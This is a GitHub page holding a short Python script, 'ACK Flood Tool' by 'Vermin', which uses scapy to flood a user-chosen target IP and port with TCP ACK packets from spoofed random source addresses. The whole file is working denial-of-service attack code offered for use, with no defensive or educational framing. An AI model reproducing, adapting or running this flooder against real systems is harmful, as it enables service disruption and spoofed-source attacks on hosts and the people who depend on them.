-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathack.py
65 lines (49 loc) · 1.29 KB
/
ack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#!/usr/bin/python
# VERMIN
# ACK Flood Tool Python
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def ACK_Flood(dstIP,dstPort,counter):
total = 0
print ("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "A"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print ("#############################")
print ("# github.com/Vermin-ux #")
print ("#############################")
print ("# Welcome to ACK Flood Tool #")
print ("#############################")
dstIP = input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
ACK_Flood(dstIP,dstPort,int(counter))
main()